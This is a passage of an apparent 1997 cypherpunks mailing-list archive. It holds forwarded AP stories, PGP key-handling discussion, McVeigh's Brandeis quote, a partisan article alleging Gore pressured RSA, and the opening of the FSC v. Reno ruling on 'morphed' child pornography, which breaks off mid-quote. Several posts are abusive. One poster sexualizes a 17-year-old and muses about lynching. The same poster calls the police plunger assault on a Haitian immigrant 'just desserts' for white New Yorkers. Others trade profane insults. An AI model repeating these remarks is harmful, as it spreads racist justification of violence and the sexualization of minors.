locks are the right thing to do. In 1994, 185 children were killed by
accidental gunshot wounds.  That is why my anti-gang and youth
violence legislation would require that all federally licensed gun
dealers provide such safety devices with every handgun sold.  And
that is why on March 3rd I ordered all federal agencies to provide
child safety locks with the thousands of handguns they issue to
federal law enforcement officers.
	Child safety locks have garnered the wide support of law
enforcement, the medical community, many local governments, and now a
part of the firearms manufacturing industry.  This fall the full
Senate considers the anti-juvenile crime legislation. I hope they
will include the child safety lock as part of the legislation.
	-0-







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 15 Aug 1997 01:25:58 +0800
To: cypherpunks@toad.com
Subject: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
Message-ID: <9E157oQnntYqhiv6vHV2+w==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



The remailer hating Nazi called Patrick Oonk wrote:
>At least I don't hide behind a remailer.

There's no cowardice to it, dumbass.  Our founding fathers and others wrote things anonymously.  I guess they're cowards?

If so, then burn in hell, Nazi scum-sucking weasel!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 15 Aug 1997 04:47:42 +0800
To: cypherpunks@toad.com
Subject: Not enough phone competition? Answer: regulate more!
Message-ID: <Pine.GSO.3.95.970814133230.27569A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



<B>By JEANNINE AVERSA<P>
<B>Associated Press Writer<P>
	WASHINGTON (AP) - Just 18 months after Congress deregulated the
communications industry, the nation's top telephone regulator asked
lawmakers Thursday for more tools to bring Americans local phone
competition.
	"So far, scarcely any local competition has been delivered to
residential or business consumers," Federal Communications Commission
Chairman Reed Hundt said in a speech to the American Enterprise Institute.
	"We have a major challenge to introduce competition in the local
telephone markets and that challenge is not yet being met," he said.
	Hundt asked Congress to write into law provisions:
	-Giving the FCC authority to set national pricing rules for those
seeking access to local phone networks.
	-Requiring courts to defer to reasonable FCC judgments in disputes
over the telecommunications law.
	-Consolidating appeals over the telecommunications law and FCC
rules before a single unspecified court.
	-Creating a national policy to enforce the telecommunications law,
giving the FCC power to compensate injured parties. The FCC now can order
violators to stop breaking the law and fine offenders.
	Congressional hearings into the slow pace of local phone
competition are slated for this fall.
	Sen. John McCain, R-Ariz., chairman of the Commerce Committee that
oversees telecommunications policy, said when asked about the proposals,
"I do not think that giving the FCC more authority to regulate is the
answer."
[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 15 Aug 1997 04:47:16 +0800
To: lacc@suburbia.net
Subject: Ruling in child porn 1st amendment challenge
Message-ID: <3.0.3.32.19970814133846.009ff700@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




I've placed a copy of Judge Conti's ruling in _Free Speech Coalition v.
Reno_, the case challenging the Child Pornography Prevention Act on First
Amendment grounds, on the web at:

<http://www.parrhesia.com/cp.html>.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 15 Aug 1997 01:58:09 +0800
To: cypherpunks@toad.com
Subject: Toilet plungers and sodomy: Why we should trust police blindly
Message-ID: <Pine.GSO.3.95.970814134308.29609B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




<B>By TOM HAYS<P>
<B>Associated Press Writer<P>
	NEW YORK (AP) - A police officer turned himself over to
investigators after being accused of using a toilet plunger to sodomize a
Haitian immigrant who was arrested in a scuffle outside a nightclub.
	Justin Volpe, 25, one of two officers that Abner Louima identified
as his attackers, surrendered to the police department's internal affairs
division Wednesday night. Louima was critically injured in the Saturday
beating.
	Deputy Inspector Michael Collins said Volpe would be charged with
aggravated sexual abuse and first-degree assault. Collins also said
disorderly conduct charges against Louima were being dropped. And the
mayor said the precinct was undergoing a staff shakeup.
	Citing an unidentified high-ranking official familiar with the
investigation, the Daily News reported today that Louima told
investigators Volpe sodomized him.
	Louima has said an officer shoved a toilet plunger into his
rectum, and then into his mouth.
	"They said, "Take this, nigger,' and stuck the stick in my rear
end," Louima, 30, said in a hospital interview.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 15 Aug 1997 02:49:00 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: McVeigh to die, quotes Brandeis
In-Reply-To: <Pine.GSO.3.95.970814102408.19346L-100000@well.com>
Message-ID: <Pine.SUN.3.96.970814142819.21579O-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 14 Aug 1997, Declan McCullagh wrote:

> 	McVeigh quoted from a dissenting opinion written by Brandeis in
> 1928 in a wiretapping case, Olmstead vs. United States. McVeigh said: "He
> wrote, "Our government is the potent, the omnipresent teacher. For good or
> for ill, it teaches the whole people by its example.' That's all I have,
> Your Honor."

Lemmeguess, Waco was the example? :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 15 Aug 1997 05:49:36 +0800
To: cypherpunks@cyberpass.net
Subject: RSA shaken down for cash?
Message-ID: <199708142135.OAA23073@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date:         Thu, 14 Aug 1997 10:51:56 -0400
From: Kris Millegan  RoadsEnd <RoadsEnd@AOL.COM>
Subject:      CTRL-Softwar
To: CTRL@LISTSERV.AOL.COM

from:http://www.aci.net/kalliste/
<A HREF="http://www.aci.net/kalliste/">The Home Page of J. Orlin Grabbe
- ------
VP Gore Strong-Arms Crypto Company, then Demands Donation


Between 1995 and 1996 Al Gore called 44 people from the White house to
solicit money for his re-election. Those calls netted the DNC over $2
million dollars. The Vice President placed these calls from the White
House on his DNC credit card. One person Mr. Gore called was Sandford
Robertson, part owner of the San Francisco investment banking firm
Robertson, Stephens and Co. The Vice President's call obtained $142,000
from "Sandy" Robertson for the DNC. Yet, Sandy was already well known in
the DNC camp. Between 1993 and 1997, Sandy Robertson or his wife donated
over $700,000 to various campaigns, including $100,000 for Clinton's
1993 inauguration.

Robertson, Stephens and Co. are also major financial backers of Security
Dynamics, the present owners of RSA Inc. It was Robertson, Stephens and
Co. that filed the agreement documents with the SEC (Security and
Exchange Commission) for the merger of RSA and Security Dynamics in
April of 1996. Of course, Robertson, Stephens and Co. were well paid to
sponsor the RSA/SDI merger deal. Robertson and Stephens not only wrote
the merger agreement between RSA and SDI they also underwrote the first
two public offerings of SDI stock.

"Robertson, Stephens & Company has provided certain investment banking
services to Security Dynamics from time to time, including acting as an
underwriter for each of the two public offerings of shares of the common
stock of Security Dynamics. In addition, Robertson, Stephens & Company
maintains a market in shares of the common stock of Security Dynamics.
Furthermore, Robertson, Stephens & Company has acted as financial
advisor to Security Dynamics in connection with the Merger for which a
portion of our fees is due and payable upon delivery of this opinion and
the remaining portion of our fees is due and payable contingent upon the
closing of the Merger."

SEC Merger Document April, 1996 ROBERTSON, STEPHENS & COMPANY LLC Edwin
David Hertz


Jim Bidzos, RSA chairman, stated that Al Gore personally lobbied him to
sell the RSA crypto patents to the US Government. It is reported that Al
failed and Bidzos walked out. Al Gore has never denied nor confirmed Mr.
Bidzos's remarks about his effort on behalf of the US government. Yet,
Jim Bidzos also took a trip to Beijing in late 1995. The result of that
trip was second trip to Beijing in February of 1996 and a deal with the
Academy of Science to sell encryption technology directly to the PRC
government. The Clinton administration, quick to prosecute anyone who
sold encryption outside the US, did nothing to stop the RSA deal with
China.
Al Gore tried to buy the rights to encryption technology from RSA for
the US government. That was an official act performed by the Vice
President. Al Gore has also played a major role in the Clinton
Administration's Crypto policy. He was fully briefed early on about
Clipper and later would lobby hard to push the draconian controls sought
by the government.

Yet, despite the obvious conflict of interest, Al Gore did not hesitate
to solicit donations from the very same company he had just tried to
strong-arm. Al dialed for money from the same company that needed the
administration's approval for export.

In the end... Money was exchanged and services were rendered. China now
has the RSA crypto technology, Al Gore got the donation money and
"Sandy" Robertson stands to become even richer.

1 if by land, 2 if by sea. Paul Revere - encryption 1775

Charles R. Smith
SOFTWAR
- -----
Aloha, He'Ping
Om, Shalom, Salaam.
Peace Be, Amen.
Roads End
Kris

------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 15 Aug 1997 04:07:30 +0800
To: cypherpunks@toad.com
Subject: Tim McVeigh's Quote
In-Reply-To: <1.5.4.32.19970814123122.0067fca0@pop.pipeline.com>
Message-ID: <3.0.2.32.19970814154205.0364e39c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The mentally challenged in the audience couldn't figure out what McVeigh was 
saying with his Brandeis quote at the sentencing hearing.  I think we can 
probably figure it out.

It is from Brandeis' dissent in OLMSTEAD v. U.S., 277 U.S. 438 (1928) one of 
the first *wiretapping* cases.  Here is the whole of the concluding paragraph 
with the quoted portion in square brackets:

http://www.findlaw.com/cgi-bin/getcase.pl?court=US&vol=277&invol=438

"Decency, security, and liberty alike demand that government officials shall 
be subjected to the same rules of conduct that are commands to the citizen. 
In a government of laws, existence of the government will be imperiled if it 
fails to observe the law scrupulously. [Our government is the potent, the 
omnipresent teacher. For good or for ill, it teaches the whole people by its 
example.] Crime is contagious. If the government becomes a lawbreaker, it 
breeds contempt for law; it invites every man to become a law unto himself; 
it invites anarchy. To declare that in the administration of the criminal law 
the end justifies the means-to declare that the government may commit crimes 
in order to secure the conviction of a private criminal-would bring terrible 
retribution. Against that pernicious doctrine this court should resolutely 
set its face."

DCF





-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM/NfhoVO4r4sgSPhAQG8XQP8DfOeKWDInfWuXvsEEALGXJnbq+TQSnCX
IJpYgeH87AyOYGq2wu61RVbO62/MQxCdhhn07y0xKJzqbHpP0YRvQawrirkUwYYv
CfKeZMnZGnI/uPp3g2VA7KfcXyTP91YFfZ90GtDjs1cmmSE+0zFI4w1ht4UJPBzn
JUqo72HE0/c=
=XdDT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 15 Aug 1997 06:58:07 +0800
To: cypherpunks@toad.com
Subject: McVeigh on McVeigh
Message-ID: <Pine.GSO.3.95.970814154327.27569L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



			The letter convicted Oklahoma City bomber Timothy
McVeigh sent to U.S. District Judge Richard Matsch, released Thursday:


	June 22, 1997
	Dear Judge Matsch,
	I am writing to you with the understanding that you are
responsible for assigning my appellate attorneys.
	It has been represented to me that you are aware of the problems
and difficulties I have had with my appointed counsel in the past. With
this letter I do not waive anything with respect to those concerns - but
if I have any voice in who represents me on appeal, I would prefer Richard
Burr, Randall Coyne, and Robert Nigh, Jr.
	If Stephen Jones must be appointed, I would at least request that
Richard Burr and Robert Nigh, Jr. be appointed as co-appellate counsel and
that Randall Coyne be authorized to assist Richard Burr.
	Thank you for your time.
	Timothy J. McVeigh
	APTV-08-14-97 1833EDT







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 15 Aug 1997 04:00:55 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Toilet plungers and sodomy: Why we should trust police blindly
In-Reply-To: <19970814191950.8410.qmail@zipcon.net>
Message-ID: <Pine.SUN.3.96.970814155109.21579Q-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 14 Aug 1997, Mike Duvos wrote:

> Gee, where's Tim McVeigh when you really need him?  I wonder if they
> have daycare centers at police headquarters.  
> 
> Broken eggs, etc...

This is really Guiliani's fault for hiring so many damn cops.  NYC now has
so many cops that if you walk down the street in most neighborhoods for
more than 5 minutes you'll see at least one cop car.  In their rush to
hire cops, they also hired scum as cops.  Who knows how many such
incidents go unreported or are covered up. :(  Damned police state if I
ever saw one.

As for stopping crime, they ain't doing shit.  They're picking on small
things like parking tix and such, but as for going after mobsters and drug
dealers, the piggies are snarfing donuts.  All I've ever see them do is
ticket cars and tow them away.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 15 Aug 1997 07:35:17 +0800
To: cypherpunks@toad.com
Subject: Re: lynch child pornographers not bits! (was Re: Child Porn and Etern
In-Reply-To: <199708141639.RAA03883@server.test.net>
Message-ID: <sJ1FBe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:
> Child pornographers and pedophiles operate in the real world, and they
> get caught.  Problem is they let them go again despite 80+% re-offense
> rate.  Hence cry for "lynch them".  There was some sicko in this town
> who molested a 7 year old girl over a 2 year time span.  Turned
> himself in, and got 1 year jail time.  He's out an about cocky as
> ever, not even repentant.  Back in the days of the wild-west such
> types wouldn't live long.  "He needed killing" used to be I understand
> a perfectly satisfactory legal defense.

Conspiracy theory: given how people who have anything to do with (some) drugs
get locke dup for life, do the law enforcement agencies purposefully let
the child molesters run wild to scare the public into supporting more
curtailment of civil liberties?

> 
> btw "Child pornographer" is a difficult term to define towards the
> boundary, eg Tracy Lords was underage at the begining of here career,
> also the age of consent is much lower in the liberal Scandinavian
> countries.  Last time we had this argument James Donald posted to the
> list a uuencoded gif of some chick, I guess the claim was she was just
> underage by US standards.


I understand that in Canada the age of concent is 14, which is pretty
reasonable.  It turns out that Tracy Lords was 17 at the time she was
filmed sucking cock.  A girl who hasn't had a cock in her mouth by the
time she's 17 is probably a lesbian.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 15 Aug 1997 07:26:11 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
In-Reply-To: <9E157oQnntYqhiv6vHV2+w==@JawJaCrakR>
Message-ID: <iP1FBe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> writes:

> 
> The remailer hating Nazi called Patrick Oonk wrote:
> >At least I don't hide behind a remailer.
> 
> There's no cowardice to it, dumbass.  Our founding fathers and others wrote t

If you don't like remailers, FUCK YOU.

> 
> If so, then burn in hell, Nazi scum-sucking weasel!
> 

Ditto for Paul Pomes and Gary Burnore.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 15 Aug 1997 07:30:28 +0800
To: cypherpunks@toad.com
Subject: Re: Toilet plungers and sodomy: Why we should trust police blindly
In-Reply-To: <Pine.SUN.3.96.970814155109.21579Q-100000@beast.brainlink.com>
Message-ID: <031FBe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> writes:
> This is really Guiliani's fault for hiring so many damn cops.  NYC now has
> so many cops that if you walk down the street in most neighborhoods for
> more than 5 minutes you'll see at least one cop car.  In their rush to
> hire cops, they also hired scum as cops.  Who knows how many such
> incidents go unreported or are covered up. :(  Damned police state if I
> ever saw one.
> 
> As for stopping crime, they ain't doing shit.  They're picking on small
> things like parking tix and such, but as for going after mobsters and drug
> dealers, the piggies are snarfing donuts.  All I've ever see them do is
> ticket cars and tow them away.
> 
Can you blame them?  They have a quote for writing parking tickets and will
get in trouble for not writing enough; while they don't have a quota e.g. for
writing tickets to the folks who run red lights, and can get shot at if they
try to.

As for the regrettable incident with the plunger: while it sounds bad out of
context, it can be viewed as just desserts for the indignities the while people
in New York City have undergone under the Dinkins administration.  If the
alleged victim (who already gave 3 highly contradictory stories of the events)
thinks that this city is so racist, why didn't he stay in his native Haiti?



---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Fri, 15 Aug 1997 05:12:19 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Pine.SUN.3.96.970813170421.7599R-100000@beast.brainlink.com>
Message-ID: <97Aug14.165930edt.32260@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997, Ray Arachelian wrote:

> On Wed, 13 Aug 1997, Bill Stewart wrote:
> 
> > The actual data is encrypted with IDEA, but the identical IDEA key is 
> > encrypted with each recipient's RSA key.  To avoid this attack,
> > PGP uses random padding after the IDEA key (which makes the message
> > encrypted with RSA different for each recipient, avoiding the trap.
> > Since IDEA keys are 128 bits long, and RSA moduli are typically 384-2047,
> > there's plenty of room for random noise in the format.)
> 
> Would it not be more secure if it picked a different IDEA session key for
> each recipient?  Would be slower, but...

If there were random padding, I don't think it would increase the
security.  PGP uses one conventional key and multiple PK encryptions of
it, with different padding (I think).  Then you only have one message to
send out, i.e. pk1,pk2...pkn,convenc instead of pk1,cenc1 pk2,cenc2...

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roger J Jones <cyber@ibpinc.com>
Date: Fri, 15 Aug 1997 06:32:29 +0800
To: "'cypherpunks@toad.com>
Subject: Private Idaho source
Message-ID: <01BCA8D4.BA1B3690@PC1901>
MIME-Version: 1.0
Content-Type: text/plain



If anyone has been successful in downloading the source code  and or knows how to make the 32 bit release work with Windows NT 4.0 please either mail to me or give me a good FTP or URL address.  Thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 15 Aug 1997 05:53:57 +0800
To: cypherpunks@toad.com
Subject: "Morphed" child porn case ruling text (FSC v. Reno)
Message-ID: <v03007805b019257a3971@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



[My report is at: http://pathfinder.com/netly/opinion/0,1042,1287,00.html
--Declan]



               UNITED STATES DISTRICT COURT
             NORTHERN DISTRICT OF CALIFORNIA
 

THE FREE SPEECH COALITION, et al.,
Plaintiffs,

v.

JANET RENO, et al.,
Defendants.
 

No. C 97-0281 SC
ORDER RE MOTIONS FOR SUMMARY JUDGMENT

FILED AUG 12 1997, Richard W. Wieking, Clerk, U.S. District Court,
Northern District of California


I. INTRODUCTION

Plaintiffs in this action consist of a trade
association that defends First Amendment rights
against censorship, the publisher of a book "dedicated
to the education and expression of the ideals and
philosophy associated with nudism," and individual
artists whose works include nude and erotic
photographs and paintings. Plaintiffs have filed a
pre-enforcement challenge to the constitutionality of
certain provisions of the Child Pornography Prevention
Act of 1996 ("CPPA"), alleging that they are vague,
overbroad, and constitute impermissible
content-specific regulations and prior restraints on
free speech. Both plaintiffs and defendants have moved
for summary judgment.

II. BACKGROUND

Congress has passed several laws(1) in an ongoing
attempt to combat child pornography, the market that
such pornography has created and maintained, and the
harms that such pornography wreaks on children's
physical, psychological, emotional, and mental health.
S. Rep. No. 104-358, at 8 (1996) ("Sen. Rep."). The
most recent of these laws was passed in 1996, and was
enacted specifically to combat the use of computer
technology to produce pornography that conveys the
impression that children were used in the photographs
or images. In passing the legislation, Congress
recognized that the dangers of child pornography are
not limited to its effect on the children actually
used in the pornography. Additionally, child
pornography "stimulates the sexual appetites and
encourages the activities of child molesters and
pedophiles, who use it to feed their sexual
fantasies." Sen. Rep. At 12. Child pornography is also
used by child molesters and pedophiles "as a device to
break down the resistance and inhibitions of their
victims or targets of molestation, especially when
these are children." Id. at 13. "A child who may be
reluctant to engage in sexual activity with an adult,
or to pose for sexually explicit photos, can sometimes
be persuaded to do so by viewing depictions of other
children participating in such activity." Id.

Congress recognized that computer technology is
capable of "alter[ing] perfectly innocent pictures of
children. . . to create visual depictions of those
children engaging in any imaginable form of sexual
conduct." Id. at 15. These computer-generated pictures
are often indistinguishable from photographic images
of actual children. "Computer generated images which
appear to depict minors engaging in sexually explicit
conduct are just as dangerous to the well-being of. .
. children as material using actual children." Id. at
19. Thus, Congress passed the 1996 Act in order to
prevent the effects that such computer-generated
images might have, even if no children were actually
used in the creation of the images.  

Specifically, the CPPA defines child pornography as:
any visual depiction, including any photograph, film,
video, picture, or computer or computer-generated
image or picture, whether made or produced by
electronic, mechanical, or other means, of sexually
explicit conduct, where -- (A) the production of such
visual depiction involves the use of a minor engaging
in sexually explicit conduct; (B) such visual
depiction is, or appears to be, of a minor engaging in
sexually explicit conduct; (C) such visual depiction
has been created, adapted, or modified to appear that
such an identifiable minor is engaging in sexually
explicit conduct; or (D) such visual depiction is
advertised, promoted, presented, described, or
distributed in such a manner that conveys the
impression that the material is or contains a visual
depiction of a minor engaging in sexually explicit
conduct. . . .

18 U.S.C. 2256(8).

The CPPA goes on the define "sexually explicit
conduct" as actual or simulated:

(A) sexual intercourse, including genital-genital,
oral-genital, anal-genital, or oral-anal, whether
between persons of the same or opposite sex; (B)
bestiality; (C) masturbation; (D) sadistic or
masochistic abuse; or (E) lascivious exhibition of the
genitals or pubic area of any person.

18 U.S.C. 2256(2).

The CPPA also provides an affirmative defense for
violations of the Act if:  

(1) the alleged child pornography was produced using
an actual person or persons engaging in sexually
explicit conduct; (2) each such person was an adult at
the time the material was produced; and (3) the
defendant did not advertise, promote, present,
describe, or distribute the material in such a manner
as to convey the impression that it is or contains a
visual depiction of a minor engaging in sexually
explicit conduct.

18 U.S.C. 2252A(c).

Plaintiffs contend that the CPPA "sweeps within its
purview materials that involve no actual children and
that traditionally and logically have never been
considered to be child pornography." Pls.' Mem in
Supp. Of Mot. For Summ. Judg. at 3. They argue that
the CPPA, by prohibiting images that appear to be of
children, actually criminalizes the production and
sale of legitimate works that include images that look
like children, but that in reality were made using
adults, not children. They allege that the CPPA's "use
of overbroad and vague language criminalizes forms of
expression in violation of the First and Fifth
Amendments." Pls.' Mem. in Supp. of Mot. for Summ.
Judg. at 4.

III. LEGAL ANALYSIS

A. Standing

Defendants first argue that plaintiffs do not have
standing to bring a claim in this Court, as they have
not suffered "actual or threatened injury as a result
of the putatively illegal conduct of the defendant."
Valley Forge Christian College v. Americans United for
Separation of Church and State, Inc., 454 U.S. 464,
472 (1982). Defendants contend that plaintiffs'
activities fall squarely within the affirmative
defense set out in 18 U.S.C. 2252A(c), as plaintiffs
have admitted that their works involve the depiction
only of non-minors(2) and that they do not market
their works as child pornography.(3)

Plaintiffs counter that they have indeed been injured
by the CPPA, as plaintiffs have, in some cases,
discontinued the production, distribution, and
possession of the certain materials for fear of
prosecution under the CPPA. The CPPA, therefore, has
had a chilling effect on their speech which is
sufficient to constitute standing. See, e.g., San
Diego County Gun Rights Committee v. Reno, 98 F.3d
1121, 1129 (9th Cir. 1996)(holding that a chilling
effect on speech is a sufficient basis to establish
standing in overbreadth facial challenges to
government actions involving free speech); Stoianoff
v. Montana, 695 F.2d 1214, 1223 (9th Cir. 1983).

Furthermore, plaintiffs contend that they have
standing to bring their suit because the affirmative
defense set out in 18 U.S.C. 2252A(c) does not protect
consumers and distributors who possess the potentially
illegal materials but who are not involved in the
production of sexually explicit materials, and who
therefore have no way of knowing whether or not the
persons depicted are real and are not minors.
Plaintiffs have set forth affidavits of businesses and
individuals engaged in distributing, selling, or
renting sexually explicit materials who have withheld
or stopped distributing certain of plaintiffs'
products that plaintiffs argue should fit within the
statutory defense, out of fear that they will be
prosecuted under the CPPA for possession of the
materials. Plaintiffs are no longer marketing or
sending those products to its distributors. See
Virginia v. Am. Booksellers Ass'n., Inc., 484 U.S.
383, 393 (1988)(harm resulting from speech regulation
may be one of self-censorship).

The Court finds that plaintiffs' allegations are
sufficient to establish the requisite standing to
bring their claims before the Court.

B. Standard of Review

In evaluating the constitutionality of legislation
that infringes free speech under the First Amendment,
the Supreme Court has identified the appropriate
criteria by which the language of the act and the
purposes underlying the passage of the act shall be
judged. "[T]he government may impose reasonable
restrictions on the time, place, or manner of
protected speech, provided the restrictions are
justified without reference to the content of the
regulated speech, that they are narrowly tailored to
serve a significant governmental interest, and that
they leave open ample alternative channels for
communication of the information." Ward v. Rock
Against Racism, 491 U.S. 781, 791, reh'g denied, 492
U.S. 937 (1989)(internal quotations omitted).

In order to determine whether a regulation is
content-neutral, "the principal inquiry. . . is
whether the government has adopted a regulation of
speech because of disagreement with the message it
conveys." Id. A "regulation that serves purposes
unrelated to the content of expression is deemed
neutral, even if it has an incidental effect on some
speakers or messages but not others." Id.; see also
City of Renton v. Playtime Theaters, Inc., 475 U.S.
41, 47-48, reh'g denied 475 U.S. 1132 (1986)(upholding
ordinance prohibiting adult motion picture theaters
within 1,000 feet of residential zones, churches,
parks, or schools on basis that regulation was
content-neutral because it was aimed at the secondary
effects of such theaters on the surrounding
community). If it can be shown that the regulation is
justified without reference to the content of the
speech, then it is deemed content-neutral. Renton, 475
U.S. at 48.

The contested provisions of the CPPA are
content-neutral regulations. They have clearly been
passed in order to prevent the secondary effects of
the child pornography industry, including the
exploitation and degradation of children and the
encouragement of pedophilia and molestation of
children. Furthermore, the Supreme Court has afforded
"greater leeway" to regulations of child pornography.
New York v. Ferber, 458 U.S. 747, 756 (1982). The
Supreme Court has "sustained legislation aimed at
protecting the physical and well-being of youth even
when the laws have operated in the sensitive area of
constitutionally protected rights." Id. at 757. Given
the nature of the evils that anti-child pornography
laws are intended to prevent, the CPPA can easily be
deemed a content-neutral regulation. For even if no
children are involved in the production of sexually
explicit materials, the devastating secondary effect
that such materials have on society and the well-being
of children merits the regulation of such images.

Plaintiffs' contention that the CPPA is
content-specific is unpersuasive. They claim that the
terms of the CPPA clearly target materials that convey
certain ideas to their viewers. The Court finds that
the CPPA is designed to counteract the effect that
such materials has on its viewers, on children, and to
society as a whole, and is not intended to regulate or
outlaw the ideas themselves. If child pornography is
targeted by the regulation, it is due to the effect of
the pornography on innocent children, not to the
nature of the materials themselves, especially if that
pornography contains computer-generated images of
children. See, e.g., Am. Library Ass'n v. Reno, 33
F.3d 78, 86 (D.C. Cir. 1994)(legislation requiring
producers of sexually explicit material to document
the names and ages of the persons portrayed was
content-neutral, as it was intended "not to regulate
the content of sexually explicit materials, but to
protect children by deterring the production and
distribution of child pornography"); Chesapeake B&M
Inc., v. Hartford County, 58 F.3d 1005, 1010 (4th
Cir.), cert denied, 116 S.Ct. 567 (1995).

According to the Supreme Court, "[a] content-neutral
regulation will be sustained under the First Amendment
if it advances important governmental interests
unrelated to the suppression of free speech and does
not burden substantially more speech than necessary to
further those interests." Turner Broadcasting Sys.,
Inc. v. Fed. Communications Comm'n, 117 S.Ct. 1174,
1186 (1997).

The CPPA clearly advances important and compelling
government interests: the protection of children from
the harms brought on by child pornography and the
industry that such pornography has created. It is
beyond debate that the protection of children from
sexual exploitation is an important governmental
interest; indeed, the Supreme Court has deemed the
protection of the physical and psychological
well-being of minors to be a "compelling" interest.
Ferber, 458 U.S. at 756-7; see also Sen. Rep. At 9
(There is a "compelling governmental interest [in
prohibiting] all forms of child pornography.")
Furthermore, the CPPA burdens no more speech than
necessary in order to protect children from the harms
of child pornography. As stated aforesaid, the CPPA
specifically defines "sexually explicit conduct" as
"sexual intercourse, including genital-genital,
oral-genital, anal-genital, or oral-anal, whether
between persons of the same or opposite sex;
bestiality; masturbation; sadistic or masochistic
abuse; or lascivious exhibition of the genitals or
pubic area of any person." 18 U.S.C. 2256(2). It also
defines "child pornography" as any visual depiction of
sexually explicit conduct where the production
involves the actual use of minors engaging in such
conduct, the depiction is or appears to be of a minor
engaging in such conduct, the depiction has been
created, adapted, or modified to appear that a minor
is engaging in such conduct, or the depiction is
advertised, presented or promoted in such a way as to
convey the impression that minor is engaging in such
conduct. 18 U.S.C. 2256(8). Although there may be a
degree of ambiguity in the phrase "appears to be a
minor," any ambiguity regarding whether a particular
person depicted in a particular work appears to be
over the age of eighteen can be resolved by examining
whether the work was marketed and advertised as child
pornography. Given that the goal of the CPPA is to
prevent the digital manipulation of images to create
child pornography even when no children were actually
used in the production of the material, the CPPA meets
that goal by regulating the narrowest range of
materials that might fall within the targeted category
and including an explicit definition of the prohibited
conduct. Congress certainly intended to exclude from
the CPPA's reach materials that do not involve the
actual or apparent depiction of children: "[The CPPA]
